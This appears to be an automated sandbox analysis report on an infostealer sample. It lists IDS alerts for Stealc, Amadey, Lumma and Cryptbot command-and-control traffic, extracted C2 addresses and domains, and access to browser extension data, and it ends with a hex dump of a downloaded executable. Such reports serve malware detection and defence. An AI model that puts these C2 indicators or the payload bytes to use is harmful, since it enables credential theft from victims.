2024-11-20T08:10:36.900304+0100	2054653	1	A Network Trojan was detected	192.168.2.5	50154	188.114.96.3	443	TCP
2024-11-20T08:10:36.947733+0100	2054653	1	A Network Trojan was detected	192.168.2.5	50153	188.114.96.3	443	TCP
2024-11-20T08:10:38.322867+0100	2054653	1	A Network Trojan was detected	192.168.2.5	50158	188.114.96.3	443	TCP
2024-11-20T08:10:59.946382+0100	2054653	1	A Network Trojan was detected	192.168.2.5	50197	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T08:10:21.256475+0100	2049836	1	A Network Trojan was detected	192.168.2.5	50129	188.114.96.3	443	TCP
2024-11-20T08:10:36.947733+0100	2049836	1	A Network Trojan was detected	192.168.2.5	50153	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T08:10:22.240491+0100	2049812	1	A Network Trojan was detected	192.168.2.5	50135	188.114.96.3	443	TCP
2024-11-20T08:10:38.322867+0100	2049812	1	A Network Trojan was detected	192.168.2.5	50158	188.114.96.3	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T08:10:37.681978+0100	2019714	2	Potentially Bad Traffic	192.168.2.5	50156	185.215.113.16	80	TCP
2024-11-20T08:11:00.655276+0100	2019714	2	Potentially Bad Traffic	192.168.2.5	50198	185.215.113.16	80	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T08:10:15.404292+0100	2044696	1	A Network Trojan was detected	192.168.2.5	50124	185.215.113.43	80	TCP
2024-11-20T08:10:20.744178+0100	2044696	1	A Network Trojan was detected	192.168.2.5	50128	185.215.113.43	80	TCP
2024-11-20T08:10:26.130265+0100	2044696	1	A Network Trojan was detected	192.168.2.5	50138	185.215.113.43	80	TCP
2024-11-20T08:10:31.267118+0100	2044696	1	A Network Trojan was detected	192.168.2.5	50144	185.215.113.43	80	TCP
2024-11-20T08:10:37.346999+0100	2044696	1	A Network Trojan was detected	192.168.2.5	50155	185.215.113.43	80	TCP

ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T08:10:32.611393+0100	2054350	1	A Network Trojan was detected	192.168.2.5	50147	34.116.198.130	80	TCP
2024-11-20T08:10:35.015806+0100	2054350	1	A Network Trojan was detected	192.168.2.5	50152	34.116.198.130	80	TCP
2024-11-20T08:10:45.317808+0100	2054350	1	A Network Trojan was detected	192.168.2.5	50180	34.116.198.130	80	TCP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T08:09:01.122369+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.5	49704	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T08:09:00.983064+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T08:09:01.344565+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T08:09:02.326136+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T08:09:01.353303+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.5	49704	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T08:10:24.209763+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	50137	188.114.96.3	443	TCP
2024-11-20T08:10:56.193817+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	50195	188.114.96.3	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T08:09:00.751667+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-20T08:10:27.217926+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	50141	185.215.113.206	80	TCP
2024-11-20T08:10:46.404266+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	50182	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T08:10:05.633932+0100	2856147	1	A Network Trojan was detected	192.168.2.5	50121	185.215.113.43	80	TCP
2024-11-20T08:15:12.140775+0100	2856147	1	A Network Trojan was detected	192.168.2.5	61387	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T08:10:14.683068+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.5	50122	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T08:10:08.873315+0100	2803305	3	Unknown Traffic	192.168.2.5	50123	31.41.244.11	80	TCP
2024-11-20T08:10:16.358914+0100	2803305	3	Unknown Traffic	192.168.2.5	50127	185.215.113.16	80	TCP
2024-11-20T08:10:21.482870+0100	2803305	3	Unknown Traffic	192.168.2.5	50131	185.215.113.16	80	TCP
2024-11-20T08:10:26.831790+0100	2803305	3	Unknown Traffic	192.168.2.5	50140	185.215.113.16	80	TCP
2024-11-20T08:10:31.998486+0100	2803305	3	Unknown Traffic	192.168.2.5	50145	185.215.113.16	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T08:09:02.856760+0100	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-20T08:09:22.489735+0100	2803304	3	Unknown Traffic	192.168.2.5	49765	185.215.113.206	80	TCP
2024-11-20T08:09:23.574929+0100	2803304	3	Unknown Traffic	192.168.2.5	49765	185.215.113.206	80	TCP
2024-11-20T08:09:24.439913+0100	2803304	3	Unknown Traffic	192.168.2.5	49765	185.215.113.206	80	TCP
2024-11-20T08:09:25.028863+0100	2803304	3	Unknown Traffic	192.168.2.5	49765	185.215.113.206	80	TCP
2024-11-20T08:09:26.715453+0100	2803304	3	Unknown Traffic	192.168.2.5	49765	185.215.113.206	80	TCP
2024-11-20T08:09:27.213349+0100	2803304	3	Unknown Traffic	192.168.2.5	49765	185.215.113.206	80	TCP
2024-11-20T08:09:31.323672+0100	2803304	3	Unknown Traffic	192.168.2.5	49920	185.215.113.16	80	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T08:10:31.822299+0100	2843864	1	A Network Trojan was detected	192.168.2.5	50146	188.114.96.3	443	TCP
2024-11-20T08:10:56.193817+0100	2843864	1	A Network Trojan was detected	192.168.2.5	50195	188.114.96.3	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Found malware configuration

Source: 00000014.00000002.2492523821.0000000000A11000.00000040.00000001.01000000.0000000D.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: file.exe.1656.0.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}
Source: 067286f766.exe.8068.26.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["p3ar11fter.sbs", "peepburry828.sbs", "3xp3cts1aim.sbs", "processhol.sbs", "p10tgrace.sbs"], "Build id": "LOGS11--LiveTraffic"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe	ReversingLabs: Detection: 31%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[2].exe	ReversingLabs: Detection: 44%
Source: C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Temp\1007604001\067286f766.exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\1007605001\fd9f6e129b.exe	ReversingLabs: Detection: 39%
Source: C:\Users\user\AppData\Local\Temp\1007606001\92cf6f64c8.exe	ReversingLabs: Detection: 31%
Source: C:\Users\user\AppData\Local\Temp\1007607001\8416d1ef13.exe	ReversingLabs: Detection: 44%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 39%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C4E6C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,

0_2_6C4E6C80

Source: ae2b9dbc74.exe, 00000018.00000003.2790664466.00000000071D2000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_06f73f67-5

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.136:443 -> 192.168.2.5:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.5:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.136:443 -> 192.168.2.5:49788 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:49933 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:50007 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:50102 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.5:50106 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50129 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50135 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50137 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50139 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50142 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50143 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50146 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50153 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50154 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50158 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50163 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50173 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50178 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50181 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:50186 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50191 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50195 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:50197 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50215 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:50216 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:50224 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50226 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50232 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50231 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50295 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.5:50297 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50298 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50307 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:50308 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.136:443 -> 192.168.2.5:50321 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.189.173.21:443 -> 192.168.2.5:50324 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50331 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.1.91:443 -> 192.168.2.5:50330 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.5:50332 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50335 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50336 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.5:50337 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.5:50340 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.176.206:443 -> 192.168.2.5:61299 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:61313 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:61312 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 51.116.253.170:443 -> 192.168.2.5:61345 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:61371 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:61372 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.5:61370 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2464040891.000000006C70F000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2464040891.000000006C70F000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: 8416d1ef13.exe, 0000002D.00000003.3025146871.0000000004F40000.00000004.00001000.00020000.00000000.sdmp, 8416d1ef13.exe, 0000002D.00000002.3160804704.00000000001C2000.00000040.00000001.01000000.00000016.sdmp
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2463476527.000000006C54D000.00000002.00000001.01000000.0000000A.sdmp

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: chrome.exe	Memory has grown: Private usage: 1MB later: 42MB
Source: firefox.exe	Memory has grown: Private usage: 1MB later: 189MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.5:50121 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.5:50122
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:50124 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:50128 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:50141 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:50138 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:50144 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.5:50147 -> 34.116.198.130:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:50155 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.5:50152 -> 34.116.198.130:80
Source: Network traffic	Suricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.5:50180 -> 34.116.198.130:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:50182 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.5:61387 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:50135 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50135 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:50129 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50129 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:50137 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50154 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:50153 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50153 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.5:50146 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50197 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:50158 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50158 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:50195 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.5:50195 -> 188.114.96.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: 185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: p3ar11fter.sbs
Source: Malware configuration extractor	URLs: peepburry828.sbs
Source: Malware configuration extractor	URLs: 3xp3cts1aim.sbs
Source: Malware configuration extractor	URLs: processhol.sbs
Source: Malware configuration extractor	URLs: p10tgrace.sbs
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	TCP traffic: 192.168.2.5:61297 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.5:50953 -> 1.1.1.1:53

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 20 Nov 2024 07:09:02 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 